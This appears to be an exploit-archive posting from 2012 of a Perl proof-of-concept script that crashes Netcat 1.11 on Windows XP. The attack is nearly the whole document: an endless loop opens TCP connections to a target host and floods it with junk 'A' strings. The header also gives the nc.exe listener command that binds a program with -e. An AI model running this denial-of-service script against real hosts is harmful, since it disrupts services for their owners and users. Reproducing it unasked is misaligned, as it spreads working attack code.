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Netcat 1.11 Crash POC
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来源：coolkaveh@rocketmail.com 作者：coolkaveh 发布时间：2012-07-16
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# Exploit Title: Netcat 1.11 Crash POC
# crash:http://imageshack.us/photo/my-images/687/47003227.jpg/
# Date: July 13, 2012
# Author: coolkaveh
# coolkaveh@rocketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: The NT version was written by Weld Pond <weld@vulnwatch.org>
# Version: 1.11
# Tested on: windows XP SP3
# set your netcat listening on port 222 with -e switch sftp or etc ..
# example nc.exe -l -p 2222 -v -e tftp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy netcat Crash
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
$|=1;
sub usage {
print "nc.exe -l -p 2222 -v -e tftp";
print "by coolkaveh\n";
print "coolkaveh@rocketmail.com\n";
print "usage: perl nc.pl <host> \n";
}
$host=shift;
$port=shift || "2222";
if(!defined($host)){
print "nc.exe -l -p 2222 -v -e tftp";
print "by coolkaveh\n";
print "coolkaveh@rocketmail.com\n";
print "usage: perl nc.pl <host> \n";
exit(0);
}
@junk=('A'x100);
print "Crashing NC !\n";
while (1) {
COMMAND_LIST: foreach $cmd (@junk){
LABEL5: $sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30);
if(defined($sock1)){
$sock1->send("$cmd"." "."$poc\r\n", 0);
}
}
}
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